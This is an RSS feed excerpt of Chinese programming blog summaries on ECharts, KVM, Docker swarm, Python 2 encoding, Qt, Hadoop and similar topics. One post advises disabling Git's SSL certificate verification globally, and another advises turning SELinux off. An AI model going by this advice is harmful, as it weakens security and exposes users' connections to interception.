      <description> [javascript] view plain copy echarts折线图，我们平时在使用的时候，x轴上面的数据通常会有很多很多，使得x轴上面的数据通常显示不完整 解决方案一:对x轴坐标添加时间间隔 //添加x轴时间间隔(js) xAxis : [&#xA;{&#xA;axisLabel : {&#xA;show:true,&#xA;interval: &#39;0&#39;, // 显示全部数据，还有auto/&amp;gt;0数字均可&#xA;rotate: 45,&#xA;margin: 8,&#xA;formatter: &#39;{value}月&#39;,&#xA;textStyle: {&#xA;color: &#39;blue&#39;,&#xA;fontFamily: &#39;sans-serif&#39;,&#xA;fontSize: 15,&#xA;fontStyle: &#39;italic&#39;,&#xA;fontWeight: &#39;bold&#39;&#xA;}&#xA;},&#xA;//添加x轴坐标间隔(java) CategoryAxis categoryxAxis = new CategoryAxis(); AxisLabel asxisLabel = new AxisLabel(); axisLabel.setInterval(0); categoryAxis.setAxisLabel(axisLabel) 解决方案二:对x轴坐标添加时间轴 //dataZoom时间轴 DataZoom dataZoom = new DataZoom(); dataZoom.setShow(true) dataZoom.start(70); </description>
    </item>
    <item>
      <title>在Ubuntu下重装Ubuntu</title>
      <link>https://bchobby.github.io/posts/8ae647c5bded5c5d0a4f0a2587bb1e31/</link>
      <pubDate>Wed, 02 Aug 2017 19:00:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ae647c5bded5c5d0a4f0a2587bb1e31/</guid>
      <description>最近把原来的Ubuntu系统玩崩了，于是在旧系统下重装了个Ubuntu&#xA;1.首先准备一个空间大于2GB的U盘。&#xA;2.在已安装的软件中找到Startup disk creator.&#xA;3.启动软件并选择已经下载好的Ubuntu镜像文件。&#xA;4.选择U盘并作为启动盘。&#xA;5.重启计算机，在启动时按F2选择USB设备作为启动项，重装时选择卸载旧版本安装新版本即可。</description>
    </item>
    <item>
      <title>百度地图api路况信息</title>
      <link>https://bchobby.github.io/posts/e5a123ab5de43bc2b1c4e2cfa0830128/</link>
      <pubDate>Wed, 02 Aug 2017 12:48:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5a123ab5de43bc2b1c4e2cfa0830128/</guid>
      <description> 效果图：&#xA;首先需要引入css\js&#xA;&amp;lt;link href=&#34;http://api.map.baidu.com/library/TrafficControl/1.4/src/TrafficControl_min.css&#34; rel=&#34;stylesheet&#34; type=&#34;text/css&#34; /&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://api.map.baidu.com/api?v=1.3&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://api.map.baidu.com/library/TrafficControl/1.4/src/TrafficControl_min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; html部分&#xA;&amp;lt;div style=&#34;width:100%;height:340px;border:1px solid gray&#34; id=&#34;container&#34;&amp;gt; &amp;lt;/div&amp;gt; js&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var map = new BMap.Map(&#34;container&#34;); map.centerAndZoom(new BMap.Point(104.06, 30.67), 12); var ctrl = new BMapLib.TrafficControl({ showPanel: true //是否显示路况提示面板 }); map.addControl(ctrl); ctrl.setAnchor(BMAP_ANCHOR_BOTTOM_RIGHT); &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>ifconfig、ifup、ifdown详解</title>
      <link>https://bchobby.github.io/posts/43d1cfc06d1298aa477c4d8afb397ad0/</link>
      <pubDate>Tue, 01 Aug 2017 21:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43d1cfc06d1298aa477c4d8afb397ad0/</guid>
      <description>这三个命令的用途都是启动网络接口，不过，ifup 与 ifdown 仅就 /etc/sysconfig/network- scripts 内的 ifcfg-ethx（x为数字）进行启动或关闭的操作，并不能直接修改网络参数，除非手动调整 ifcfg-ethx 文件才行。至于 ifconfig 则可以直接手动给予某个接口 IP 或调整其网络参数。下面我们就分别来谈一谈。 一、ifconfig&#xA;ifconfig 主要是可以手动启动、观察与修改网络接口的相关参数，可以修改的参数很多，包括 IP 参数以及 MTU 等都可以修改，它的语法如下：&#xA;[root@linux ~]# ifconfig {interface} {up|down} &amp;lt;== 观察与启动接口 [root@linux ~]# ifconfig interface {options} &amp;lt;== 设置与修改接口 参数： Interface，网卡接口代号，包括 eth0、eth1、ppp0 等 Options，可以接的参数，包括如下： Up或down，启动 (up) 或关闭 (down) 该网络接口(不涉及任何参数) mtu，可以设置不同的 MTU 数值，例如MTU 1500 (单位为 byte) netmask，就是子屏蔽网络 broadcast，就是广播地址 范例：&#xA;范例一：观察所有的网络接口(直接输入 ifconfig) [root@linux ~]# ifconfig eth0 Link encap:Ethernet HWaddr 00:0F:EA:A3:06:A2 inet addr:192.168.10.100 Bcast:192.168.10.255 Mask:255.255.255.0 inet6 addr: fe80::20f:eaff:fe73:682/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:3439 errors:0 dropped:0 overruns:0 frame:0 TX packets:2735 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:646935 (631.</description>
    </item>
    <item>
      <title>centos7安装kvm虚拟机</title>
      <link>https://bchobby.github.io/posts/a133d674a2e38f8cde4b3c269f851c68/</link>
      <pubDate>Mon, 31 Jul 2017 14:02:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a133d674a2e38f8cde4b3c269f851c68/</guid>
      <description>一、安装KVM 1、 验证CPU是否支持KVM；如果结果中有vmx（Intel）或svm(AMD)字样，就说明CPU的支持的。&#xA;egrep &#39;(vmx|svm)&#39; /proc/cpuinfo 2、 关闭SELinux，将 /etc/sysconfig/selinux 中的 SELinux=enforcing 修改为 SELinux=disabled&#xA;3、 最小安装的CentOS安装一些最基本的包（可选项，因为我是刚安装好的CentOS，所以为了下面方便点，先把一些必要的工具安装下）&#xA;yum install epel-release net-tools vim unzip zip wget ftp -y 4、 安装KVM及其依赖项&#xA;yum install qemu-kvm libvirt virt-install bridge-utils -y 5、验证安装结果，下图说明已经成功安装了&#xA;lsmod | grep kvm 6、开启kvm服务，并且设置其开机自动启动&#xA;systemctl start libvirtd systemctl enable libvirtd 7、查看状态操作结果,如下图所示，说明运行情况良好&#xA;systemctl status libvirtd systemctl is-enabled libvirtd 8、配置网桥模式，先将 /etc/sysconfig/network-scripts/ 目录下的网卡配置文件备份一份(不要备在当前目录以及子目录下，其他目录随意)&#xA;a. 创建 ifcfg-br0 文件，内容如下：&#xA;BOOTPROTO=static DEVICE=br0 TYPE=Bridge NM_CONTROLLED=no IPADDR=192.168.8.150 NETMASK=255.255.255.0 GATEWAY=192.168.8.1 DNS1=122.200.121.230 DNS2=8.8.8.8 b.</description>
    </item>
    <item>
      <title>Spring获取Http响应时间和状态原理</title>
      <link>https://bchobby.github.io/posts/49515b9dd734a531d0280eab45d66a21/</link>
      <pubDate>Mon, 31 Jul 2017 11:55:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49515b9dd734a531d0280eab45d66a21/</guid>
      <description>spring-actuate是spring的监控模块，默认开启很监控下，其中就有个http的响应时间和状态。 在maven的pom中引入&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.5.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 启动项目，访问 http://localhost:prot/metrics 可以看到的结果中&#xA;“counter.status.200.metrics”:24 表示/metrics接口响应200状态24次“gauge.response.metrics”:2.0 表示/metrics接口响应时间为2ms 之后通过字符串替换，将key改成自己想要的格式 那么actuate又是如何获取到接口的响应时间和状态？ 在sprint-actuate里有个MetricsFilter类，继承了OncePerRequestFilter，从名字上可以看出，这个拦截器会在每次请求执行一次，在请求处理前记录开始时间，请求处理后记录结束时间和响应状态&#xA;final class MetricsFilter extends OncePerRequestFilter { protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { StopWatch stopWatch = this.createStopWatchIfNecessary(request); String path = (new UrlPathHelper()).getPathWithinApplication(request); int status = HttpStatus.INTERNAL_SERVER_ERROR.value(); try { chain.doFilter(request, response); status = this.getStatus(response); } finally { if (!request.isAsyncStarted()) { if (response.isCommitted()) { status = this.getStatus(response); } stopWatch.stop(); request.removeAttribute(ATTRIBUTE_STOP_WATCH); this.</description>
    </item>
    <item>
      <title>故障公告：docker swarm集群“群龙无首”造成部分站点无法访问</title>
      <link>https://bchobby.github.io/posts/f6b845a3e42c216d3bd2fc9c67969c20/</link>
      <pubDate>Sat, 29 Jul 2017 20:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6b845a3e42c216d3bd2fc9c67969c20/</guid>
      <description>今天傍晚 17:38-18:18 左右，由于 docker swarm 集群出现 &#34;The swarm does not have a leader&#34; 问题，造成博问、闪存、园子、小组、openapi 无法正常访问，由此给您带来麻烦，请您谅解。&#xA;目前我们已经迁移至 asp.net core 的站点都部署在 docker swarm 集群上，节点用的是阿里云服务器，操作系统是 ubtunu 16.04 ，docker engine 版本是 17.06.0-ce, build 02c1d87 。&#xA;今天出故障期间，我们在进行节点变更的操作。操作前集群只有 3 个 manager 节点，没有 worker 节点，变更的目标是调整为 5 个节点，其中 3 个 manager ，2 个 worker ，变更的方式是减 1 个节点加 3 个节点（这 3 台服务器配置高，需要升级为 manager）。&#xA;具体的变更操作是这样的，第 1 个操作是 docker node demote node1 将已有的一个 manager 节点降级为 worker ， docker swarm leave 退出集群， docker node rm node1 移除节点，这个节点是减掉的那个节点。然后，新增的服务器直接 docker swarm join --token manager_token 加为 manager 节点。第 1 个操作正常完成。</description>
    </item>
    <item>
      <title>STM32学习笔记一一TFTLCD 显示</title>
      <link>https://bchobby.github.io/posts/df20d9c515dfd414fc411a2c3f7ec4a0/</link>
      <pubDate>Sat, 29 Jul 2017 14:27:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df20d9c515dfd414fc411a2c3f7ec4a0/</guid>
      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1.TFTLCD 简介&#xA;TFT-LCD 即薄膜晶体管液晶显示器。TFT-LCD与无源 TN-LCD、 STN-LCD 的简单矩阵不同，它在液晶显示屏的每一个象素上都设置有一个薄膜晶体管（ TFT），可有效地克服非选通时的串扰，使显示液晶屏的静态特性与扫描线数无关，因此大大提高了图像质量。 TFT-LCD 也被叫做真彩液晶显示器。ALIENTEK TFTLCD 模块采用 16 位的并方式与外部连接。&#xA;2.80 并口有如下一些信号线：&#xA;信号线作用CSTFTLCD 片选信号WR向 TFTLCD 写入数据RD从 TFTLCD 读取数据D[15： 0]16 位双向数据线RST硬复位 TFTLCDRS命令/数据标志（ 0，读写命令； 1，读写数据） 注：TFTLCD 模块的 RST 信号线是直接接到 STM32 的复位脚上，并不由软件控制，这样可以省下来一个 IO口。另外我们还需要一个背光控制线来控制 TFTLCD 的背光。所以，我们总共需要的 IO 口数目为 21 个。&#xA;3.ILI9341 控制器介绍&#xA;ILI9341 液晶控制器自带显存，其显存总大小为 172800（ 24032018/8），即 18 位模式（ 26万色）下的显存量。在 16 位模式下， ILI9341 采用 RGB565 格式存储颜色数据，此时 ILI9341的 18 位数据线与 MCU 的 16 位数据线以及 LCD GRAM 的对应关系如图:&#xA;ILI9341 在 16 位模式下面，数据线有用的是： D17~D13 和 D11~D1， D0和 D12 没有用到，实际上在我们 LCD 模块里面， ILI9341 的 D0 和 D12 压根就没有引出来，这样， ILI9341 的 D17~D13 和 D11~D1 对应 MCU 的 D15~D0。</description>
    </item>
    <item>
      <title>python2（中文编码问题）：UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte 0x?? in position 1...</title>
      <link>https://bchobby.github.io/posts/a78d229b9d6b21c5d8428bda19e4e267/</link>
      <pubDate>Fri, 28 Jul 2017 16:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a78d229b9d6b21c5d8428bda19e4e267/</guid>
      <description>python在安装时，默认的编码是ascii，当程序中出现非ascii编码时，python的处理常常会报这样的错UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte 0x?? in position 1: ordinal not in range(128)，python没办法处理非ascii编码的，此时需要自己设置将python的默认编码，一般设置为utf8的编码格式。&#xA;查询系统默认编码可以在解释器中输入以下命令：&#xA;python代码&#xA;&amp;gt;&amp;gt;&amp;gt;sys.getdefaultencoding() 设置默认编码时使用：&#xA;python代码&#xA;&amp;gt;&amp;gt;&amp;gt;sys.setdefaultencoding(&#39;utf8&#39;) 可能会报AttributeError: &#39;module&#39; object has no attribute &#39;setdefaultencoding&#39;的错误。执行reload(sys)，再执行以上命令就可以顺利通过。&#xA;此时再执行sys.getdefaultencoding()就会发现编码已经被设置为utf8的了，但是在解释器里修改的编码只能保证当次有效，在重启解释器后，会发现，编码又被重置为默认的ascii了。&#xA;有2种方法设置python的默认编码：&#xA;一个解决的方案在程序中加入以下代码：&#xA;Python代码&#xA;# encoding=utf8 import sys reload(sys) sys.setdefaultencoding(&#39;utf8&#39;) 另一个方案是在python的Lib\site-packages文件夹下新建一个sitecustomize.py，内容为：&#xA;Python代码 # encoding=utf8 import sys&#xA;reload(sys) sys.setdefaultencoding(&#39;utf8&#39;) 此时重启python解释器，执行sys.getdefaultencoding()，发现编码已经被设置为utf8的了，多次重启之后，效果相同，这是因为系统在python启动的时候，自行调用该文件，设置系统的默认编码，而不需要每次都手动的加上解决代码，属于一劳永逸的解决方法。&#xA;转载于:https://www.cnblogs.com/walk1314/p/7251126.html</description>
    </item>
    <item>
      <title>史上最详细的Android系统SystemUI 启动过程详细解析</title>
      <link>https://bchobby.github.io/posts/a08cb522296bdd0fab42478f38e9d13c/</link>
      <pubDate>Fri, 28 Jul 2017 16:07:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a08cb522296bdd0fab42478f38e9d13c/</guid>
      <description>Android 系统 SystemUI 介绍 Android 的 SystemUI 其实就是 Android 的系统界面，它包括了界面上方的状态栏 status bar，下方的导航栏Navigation Bar，锁屏界面 Keyguard ，电源界面 PowerUI，近期任务界面 Recent Task 等等。对于用户而言，SystemUI 的改动是最能直观感受到的。因此，每个 Android 版本在 SystemUI 上都有比较大的改动。而对开发者而言，理解 Android SystemUI 对优化Android系统界面，改善用户体验十分重要。&#xA;SystemUI 在哪 在 Andorid 系统源码中，package/apps下放的是系统内置的一些 app，例如 settings，camera，Phone，Message 等等。而在 Framework/base/package 下，它们也是系统的 app，SystemUI 就在此目录下。它控制着整个Android系统的界面，但其实他也是一个 app，不同于一般的 app，它不可卸载也不可以被第三方应用替换。&#xA;SystemUI 整体结构 这是 SystemUI 相关类的继承关系图，可以看到 SystemUI 为基类，每个子类实现了不同的系统界面。&#xA;Status Bar 系统上方的状态栏Navigator Bar 系统下方的导航栏Keyguard 锁屏界面PowerUI 电源界面Recents Screen 近期任务界面VolumeUI 音量调节对话框Stack Divider 分屏功能调节器PipUI 画中画界面Screenshot 截屏界面RingtonePlayer 铃声播放器界面Settings Activity 系统设置中用到的一些界面，例如：NetworkOverLimitActivity，UsbDebuggingActivity等。 SystemUI的启动流程 先找到 framework/base/service/java/com/android/server/SystemServer.java 文件，里面有个main()方法，main 方法如下：</description>
    </item>
    <item>
      <title>文件系统EXT3，EXT4和XFS的区别</title>
      <link>https://bchobby.github.io/posts/3a56783bb5a16618185706490f7669d3/</link>
      <pubDate>Thu, 27 Jul 2017 18:41:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a56783bb5a16618185706490f7669d3/</guid>
      <description>文件系统EXT3，EXT4和XFS的区别： 1. EXT3 （1）最多只能支持32TB的文件系统和2TB的文件，实际只能容纳2TB的文件系统和16GB的文件 （2）Ext3目前只支持32000个子目录 （3）Ext3文件系统使用32位空间记录块数量和i-节点数量 （4）当数据写入到Ext3文件系统中时，Ext3的数据块分配器每次只能分配一个4KB的块 2. EXT4 EXT4是Linux系统下的日志文件系统，是EXT3文件系统的后继版本。 （1）Ext4的文件系统容量达到1EB，而文件容量则达到16TB （2）理论上支持无限数量的子目录 （3）Ext4文件系统使用64位空间记录块数量和i-节点数量 （4）Ext4的多块分配器支持一次调用分配多个数据块 3. XFS （1）根据所记录的日志在很短的时间内迅速恢复磁盘文件内容 （2）采用优化算法，日志记录对整体文件操作影响非常小 （3） 是一个全64-bit的文件系统，它可以支持上百万T字节的存储空间 （4）能以接近裸设备I/O的性能存储数据</description>
    </item>
    <item>
      <title>Error:Unable to load class &#39;org.gradle.logging.StyledTextOutput&#39;. Possible causes for this unexpecte</title>
      <link>https://bchobby.github.io/posts/482bdee9a29e7dee644a4b370334705a/</link>
      <pubDate>Wed, 26 Jul 2017 11:14:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/482bdee9a29e7dee644a4b370334705a/</guid>
      <description>使用Android studio 导入工程报以下错误&#xA;Error:Unable to load class &#39;org.gradle.logging.StyledTextOutput&#39;. Possible causes for this unexpected error include:&#xA;解决方案 :&#xA;classpath &#39;com.getkeepsafe.dexcount:dexcount-gradle-plugin:0.3.0&#39; 改为&#xA;classpath &#39;com.getkeepsafe.dexcount:dexcount-gradle-plugin:0.6.2&#39; 修改以下版本号就可以</description>
    </item>
    <item>
      <title>tensorfow模拟函数拟合过程</title>
      <link>https://bchobby.github.io/posts/b30f4a033f9314fd7540fc78e13c2641/</link>
      <pubDate>Wed, 26 Jul 2017 08:31:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b30f4a033f9314fd7540fc78e13c2641/</guid>
      <description>tensorflow真是把机器学习变成了纯工程化的东西了 本文用TensorFlow 模拟函数拟合 用matplotlib 画出动图 便于直观感受&#xA;最终您会看到拟合的动图&#xA;import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation import time x_data=np.random.rand(100).astype(np.float32); #print(x_data); y_data=x_data*0.1+0.3; Weith=tf.Variable(tf.random_uniform([1],-1.0,1.0)); Baise=tf.Variable(tf.zeros([1])); y=Weith*x_data+Baise; #定义损失函数 loss=tf.reduce_mean(tf.square(y-y_data)); #学习效率 optimizer=tf.train.GradientDescentOptimizer(0.5); //按照损失函数最小化进行训练 train=optimizer.minimize(loss); inint=tf.initialize_all_variables(); sess=tf.Session(); sess.run(inint); //动图模拟过程 fig2 = plt.figure() axes1 = fig2.add_subplot(111) axes1.plot(x_data,y_data); line,= axes1.plot(x_data,y_data,color=&#39;red&#39;) def update(datay): line.set_ydata(datay) return line, def data_gen(): for step in range(201): sess.run(train); yield sess.run(Weith)*x_data+sess.run(Baise); ani = animation.FuncAnimation(fig2, update, data_gen, interval=0.</description>
    </item>
    <item>
      <title>xynuoj  求两个数中的较大者</title>
      <link>https://bchobby.github.io/posts/621e482a28f27a19c895876ac43634ae/</link>
      <pubDate>Tue, 25 Jul 2017 08:24:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/621e482a28f27a19c895876ac43634ae/</guid>
      <description>题目描述 输入一系列的以空格分隔的整数对a和b，分别输出这两个数中较大的那一个。 输入 输入包含一系列的a和b对，通过空格隔开。一对a和b占一行。 输出 对于输入的每对a和b，你需要依次输出a和b的较大值。 如对于输入中的第二对a和b，在输出中它们的较大者应该也在第二行。 样例输入 3 8 11 6 -3 2 样例输出 8 11 2 提示 来源&#xA;#include&amp;lt;stdio.h&amp;gt; int main()&#xA;{int a,b,max;&#xA;while(~scanf(&#34;%d %d&#34;,&amp;amp;a,&amp;amp;b)) {if(a&amp;gt;b)&#xA;{max=a;}&#xA;else {&#xA;max=b;}&#xA;printf(&#34;%d\n&#34;,max);}&#xA;return 0;&#xA;}</description>
    </item>
    <item>
      <title>QT中在QLabel显示图片并且利用鼠标点击画线</title>
      <link>https://bchobby.github.io/posts/0f9a00ed06fa1a66e611754cdb83fd86/</link>
      <pubDate>Sun, 23 Jul 2017 23:00:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f9a00ed06fa1a66e611754cdb83fd86/</guid>
      <description>最近在做在Label上显示图片并且通过鼠标点击画线，在网上查了很多零零散散的东西，收获也多 很多初学者更希望直接贴代码，这样可以模仿来写，我下面直接贴出我的项目中自己写的maLabel类（如果只是实现利用鼠标绘制， 重写void paintEvent(QPaintEvent *event);void mousePressEvent(QMouseEvent *e); void mouseMoveEvent(QMouseEvent *e); void mouseReleaseEvent(QMouseEvent *e);即可，其他函数是我项目需求所以多写的，可以忽略） 申明myLabel类，继承QLabel，生成myLabel.h和myLabel.cpp文件 以下为我的代码，供参考。我只是实现了画一条直线，如果要画多条，可以用vector将之前若干条的信息干存下来，每次都绘制 myLabel.h #ifndef MYLABEL_H #define MYLABEL_H #include &amp;lt;QLabel&amp;gt; #include &amp;lt;QPoint&amp;gt; #include &amp;lt;QColor&amp;gt; #include &amp;lt;QPaintEvent&amp;gt; #include &amp;lt;QImage&amp;gt; #include &amp;lt;QPixmap&amp;gt; class myLabel : public QLabel { //Q_OBJECT public: myLabel(); //~myLabel(); //绘制线条 virtual void paintEvent(QPaintEvent *event) override; //鼠标按下 void mousePressEvent(QMouseEvent *e); //鼠标移动 void mouseMoveEvent(QMouseEvent *e); //鼠标抬起 void mouseReleaseEvent(QMouseEvent *e); //设置所画线条属性 void setLineColor(const QColor lineColor); void setLineSize(const int lineSize); //得到画线的起点和终点 QPoint getStartPoint(); QPoint getEndPoint(); void clear(); private: QPoint lineStartPoint; //画线起点 QPoint lineEndPoint; //画线终点 QColor lineColor; //线条颜色 int lineSize; //5种线型 bool isPressed; }; #endif // MYLABEL_H myLabel.</description>
    </item>
    <item>
      <title>Eclipse的java代码出错：The import org.apache cannot be resolved</title>
      <link>https://bchobby.github.io/posts/4fb760634254c146525e6aea638c4083/</link>
      <pubDate>Sun, 23 Jul 2017 15:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fb760634254c146525e6aea638c4083/</guid>
      <description>Eclipse中，折腾java代码。&#xA;把之前在android中的代码拿过来使用。&#xA;结果出现The import org.apache cannot be resolved的错误：&#xA;【解决过程】&#xA;1.这里：&#xA;求救，eclispe开发不能import org.apache 包&#xA;和&#xA;The import org.apache cannot be resolved&#xA;都说到了，让去：&#xA;project -&amp;gt; Build Path -&amp;gt; Configure Build Path -&amp;gt; Libraries -&amp;gt; Add External Jar’s 但是坑爹的却是，没有说，此处的&#xA;org.apache&#xA;是属于哪个jar包。&#xA;2.既然找不到&#xA;org.apache&#xA;那么，鉴于我此处，全部都是：&#xA;即，全都是：&#xA;org.apache.http&#xA;那就先去找org.apache.http。&#xA;3.参考：&#xA;请问谁有org.apache.http这个包&#xA;突然想到，貌似这个：&#xA;org.apache.http&#xA;是对应的android里面的，不是标准的java库中的。&#xA;4.所以，去到别人说的，apache官网中找这个库。&#xA;搜：&#xA;download org.apache.http&#xA;而找到http://hc.apache.org/downloads.cgi，去下载&#xA;HttpClient 4.2.5.zip&#xA;解压后，得到：&#xA;httpcomponents-client-4.2.5-bin\httpcomponents-client-4.2.5\lib&#xA;下面有很多jar：&#xA;先加进来试试：&#xA;然后所有的org.apache.http就正常了：&#xA;【总结】&#xA;org.apache，不是标准的java中的库。所以eclipse中，无法自动识别。&#xA;org.apache下包括了一堆相关的库，此处用到的的是org.apache.http，所以：&#xA;需要找到对应的org.apache.http相关的jar包，然后加到当前的项目中。&#xA;1.到哪里找org.apache.http&#xA;去apache官网中的：&#xA;http://hc.apache.org/downloads.cgi&#xA;去下载：</description>
    </item>
    <item>
      <title>hadoop启动之“hadoop-daemon.sh”详解</title>
      <link>https://bchobby.github.io/posts/3d79864210cbd325e21467400be21599/</link>
      <pubDate>Sun, 23 Jul 2017 01:39:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d79864210cbd325e21467400be21599/</guid>
      <description>今天看了一下启动文件“Hadoop-daemon.sh”，仔细看了一下大概知道它的作用，使用“hadoop-daemon.sh“脚本启动和停止hadoop后台程序。它可以做到在A机器上启动”namenode“，B机器启动”secondarynamenode“ C机器启动”datanode“， ”tasktracker“，具体启动如下 ：&#xA;./hadoop-daemon.sh start namenode&#xA;./hadoop-daemon.sh start secondarynamenode&#xA;./hadoop-daemon.sh start jobtracker&#xA;./hadoop-daemon.sh start datanode&#xA;./hadoop-daemon.sh start tasktracker&#xA;如果要停止可以运行如下命令&#xA;./hadoop-daemon.sh stop namenode&#xA;./hadoop-daemon.sh stop secondarynamenode&#xA;./hadoop-daemon.sh stop jobtracker&#xA;./hadoop-daemon.sh stop datanode&#xA;./hadoop-daemon.sh stop tasktracker&#xA;转载地址：http://blog.csdn.net/sinoyang/article/details/8021296</description>
    </item>
    <item>
      <title>解决EndNote未知错误0x4A8C</title>
      <link>https://bchobby.github.io/posts/9caa27a4c260e545575d88c02c5ad908/</link>
      <pubDate>Thu, 20 Jul 2017 09:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9caa27a4c260e545575d88c02c5ad908/</guid>
      <description> EndNote在重装系统后出现未知错误0x4A8C。主要问题是没有对office修补漏洞，360修补一下office的漏洞，然后再打开EndNote就可以了。问题解决。 </description>
    </item>
    <item>
      <title>SSL certificate problem: self signed certificate</title>
      <link>https://bchobby.github.io/posts/7b98aad93021ef55eb5377859ac8edc9/</link>
      <pubDate>Tue, 18 Jul 2017 21:19:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b98aad93021ef55eb5377859ac8edc9/</guid>
      <description> 问题描述：&#xA;使用SmartGit工具clone项目时，弹出框提示信息为“XXXX，SSL certificate problem: self signed certificate”&#xA;问题分析：&#xA;提示信息为SSL认证失败，可以关闭SSL的认证&#xA;解决方案：&#xA;在windows的命令行窗口执行指令：set GIT_SSL_NO_VERIFY=true git clone&#xA;找到SmartGit中git命令所在的位置，选中SmartGit图标，鼠标右键，如下图：&#xA;在windows的命令行中，进入到上图中git命令所在的磁盘位置，执行下面的git命令：&#xA;git config --global http.sslVerify false </description>
    </item>
    <item>
      <title>主成分分析（PCA）——matlab程序及函数详解</title>
      <link>https://bchobby.github.io/posts/28503104494c92d1e9b4476ab109dcf5/</link>
      <pubDate>Tue, 18 Jul 2017 10:57:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28503104494c92d1e9b4476ab109dcf5/</guid>
      <description>参考来源： http://www.cnblogs.com/Hand-Head/articles/5156435.html&#xA;http://www.matlabsky.com/thread-11751-1-1.html&#xA;matlab帮助文档&#xA;程序源码下载链接：http://download.csdn.net/detail/ckzhb/9903051&#xA;包含三个m文件：&#xA;drtool_pca：函数封装。不包括盒形图。&#xA;pca_test:matlab自带的例子——pca()函数&#xA;princomp_test:matlab自带的例子——princomp()函数&#xA;例子说明：&#xA;它使用了衡量美国329个城市生活质量的9个指标：气候、住房、健康、犯罪率、交通、教育、艺术、娱乐和经济。&#xA;对于各指标，越高表示越好，如高的犯罪指标表示低的犯罪率。&#xA;本文例子程序：&#xA;%% test for princomp(Principal Component Analysis) % 20170706 BY Hubery_Zhang clear; clc; %% load data set load cities; %% box plot forratings data % To get a quickimpression of the ratings data, make a box plot figure; boxplot(ratings,&#39;orientation&#39;,&#39;horizontal&#39;,&#39;labels&#39;,categories); grid on; %% pre-process stdr =std(ratings); sr =ratings./repmat(stdr,329,1); %% use princomp [coeff,score,latent,tsquare]= princomp(sr); %% 如何提取主成分,达到降为的目的 % 通过latent,可以知道提取前几个主成分就可以了. % 图中的线表示的累积变量解释程度.</description>
    </item>
    <item>
      <title>vector和map的效率简要比较</title>
      <link>https://bchobby.github.io/posts/f95264cf467065d09d5229b64d6e5c47/</link>
      <pubDate>Mon, 17 Jul 2017 14:43:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f95264cf467065d09d5229b64d6e5c47/</guid>
      <description>项目中要对一些数据结构进行存取，而项目本身对时间延时比较敏感，在使用vector还是map上着实纠结了一番，主要某些数据量比较小，才有此纠结。&#xA;而且想搞明白，到底大到什么数据量该用map？做了一些简单的测试，见下。&#xA;首先，不管是vector还是map，请尽量存取指针，否则在存取时会有数据拷贝带来不必要的时间损失。通常用int和string做key的场景比较普遍（我的项目即如此），能用int作key就用int作key，效率比string高。&#xA;测试方法：&#xA;给vector和map容器中分别塞入1,000,000个数据（顺序插入，有序的），然后设定一个查找目标，vector顺序遍历查找，map用key查找，对比查找时间。使用高精度定时器计时。&#xA;基本结论：&#xA;1、unordered_map比map快&#xA;2、vector查找14次，基本和unordered_map查找一次耗时相当（int和string做key差别不大）&#xA;3、string作key，vector查询100次，基本和map查询一次耗时相当；int作key，vector查询28次，基本和map查询一次耗时相当&#xA;4、boost的unordered_map和map与STL的效率基本相同&#xA;因此：抛弃map，用unordered_map吧。如果明确数据量小，比如小于14个，就用vector或数组，效率更高。&#xA;unordered_map&amp;lt;string,...&amp;gt;&#xA;unordered_map&amp;lt;int,...&amp;gt;&#xA;map&amp;lt;string, ...&amp;gt;&#xA;map&amp;lt;int,...&amp;gt;&#xA;测试代码：&#xA;#include &amp;lt;windows.h&amp;gt; #include &amp;lt;string&amp;gt; #include &amp;lt;iostream&amp;gt; #include &amp;lt;iomanip&amp;gt; #include &amp;lt;map&amp;gt; #include &amp;lt;unordered_map&amp;gt; #include &amp;lt;boost/unordered_map.hpp&amp;gt; #include &amp;lt;boost/interprocess/containers/map.hpp&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; struct MyStruct { MyStruct() {} MyStruct(int x, string s) : i(x), str(s) {} int i; string str; }; #define VECTOR_TEST_DEF std::vector&amp;lt;MyStruct*&amp;gt; //#define STRING_KEY #define MAP_TYPE std::map //#define MAP_TYPE std::unordered_map //#define MAP_TYPE boost::unordered_map //#define MAP_TYPE boost::interprocess::map #define 